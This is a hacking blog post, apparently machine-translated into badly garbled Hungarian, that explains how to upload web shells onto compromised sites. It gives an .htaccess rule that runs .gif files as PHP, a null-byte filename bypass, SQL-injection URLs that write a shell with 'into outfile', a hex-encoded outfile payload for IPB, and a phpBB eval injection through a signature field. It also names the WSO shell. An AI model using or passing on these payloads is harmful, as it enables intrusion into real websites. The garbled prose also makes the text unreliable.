Ways, hogy töltse ki a shell, robbanásveszélyes blog
Szia% username% és barátai. Nos, ez sürgősen töltse ki a shell a helyszínen, nos, soha nem lehet tudni, lehet, hogy a végső díj függ tőle. Nos, ez nem működik. Íme néhány példa a gyűjtött (hála Tracy és mások erre).
Öntsük át a shellKép
Ön feltört helyén (persze csak a tesztelés) a samopisnaya az admin ... És nem öntött web shell, de van jelen kitöltési kép és letöltések csak a .jpg formátumban. gif. png.
Ebben az esetben lehet tenni?
Piha shell kiterjesztésű .gif, amit néhány mappát a képek, és hozzon létre a .htaccess fájlt a tartalmát
AddType application / x-httpd-php .gif
Ez a parancs fogja formázni .gif, mint a PHP
Igyekszünk, hogy megnyitja a [útvonal] /shell.gif
Hasonlóképpen, ha a szkript nem közömbös, hogy az összekötő vezetéket, igyekszünk, hogy kitöltse a shell halad átnevezés shell.php% 00.jpg. megtekintéséhez shell.php, és hirtelen?
öntési eljárás révén a héj mysql.user nyafog
1) Tanuljon alatt valaki ülünk, és megtanulják a jogait a mysql.
site.com/index.php?id=1+and+1=0+union+Select+1,user(),3+--+
(Megtudjuk, milyen ülünk)
2) site.com/index.php?id=1+and+1=0+union+Select+1,file_priv,3+from+mysql.user+where+user='наш felhasználói „+ - +
(Nézze meg a felhasználó jogosultságával. Ha hibát ad a kimenetet, akkor poheksit a felhasználó 0x)
3) site.com/index.php?id=-1+union+select+1, '', 3 + -tól + mysql.user + a + outfile + 'Path to File' + - +
(Töltsük fel a mini-shell)
P.S
Mi lenne az összes, hogy a megfelelő joga rögzíteni, és ismerik a teljes elérési utat a gyökér.
Csak nézd az írási jogosultságokat, akkor:
site.com/index.php?id=1+and+1=0+union+Select+1,'prava”, 3 + a + mysql.user + - +
Ha prava megjelenik, majd ott.
A következő a helyzet. Mi vagyunk az admin vBulletin,
Napnyugta:
Dugó # 038; Termékek -> Plugin Manager -> [Új Plugin] Dugó # 038; Termékek -> Plugin Manager -> [Új bővítmény]
Kiválasztása temptley. Általában választani faq_complete válasszuk ki és kattintson a beépülő modul Active kullancs ki «igen» és a mentés.
További levezetjük phpinfo ()
Ha vettünk phpinfo () akkor fontolja meg egy shell a kezünkben.
Később phpinfo kell találni a teljes elérési utat a Forum (pl /home/u0000/site.ru/www/sell.php). Most el kell web héj vált txt fájlt, és töltse ki bármely honlapján
mysite.com/shell.txt
Shell öntsük csapat
Töltsük shell IPB 3
Napnyugta:
Support-> SQL- Management> Fut protsessy-> egy új kérelmet
kód:
válassza 0x3c3f706870696e666f28293b3f3e be outfile 'Z: /home/site.ru/www/uploads/shell.php'
A teljes útvonal megtalálható az alábbiak szerint:
Töltsük shell phpBB 2
1. Hozzon létre egy fájlt ex.sql
2. előírás szerinti a
UPDATE phpbb_users SET user_sig_bbcode_uid = '(. +) / E \ 0', user_sig = 'phpBB: eval (stripslashes ($ _ GET [e]));' AHOL user_id = 2;
Ahol user_id = 2 - adminisztrátori azonosító
3. lépés az admin felületen
4. A admin felületen válassza ki az elemet „Restore Database” és terhelési ex.sql
5. Végezze kód / Fill shell így
Ez csak egy rövid listát hogyan és milyen motorokat lehet tölteni a héj. Kell ennél több? Üdvözöljük a fiúk rdot
Töltsük ki a fórumokon
Töltsük ki a cms
És itt van a kedvenc shell, szintén rdot))
WSO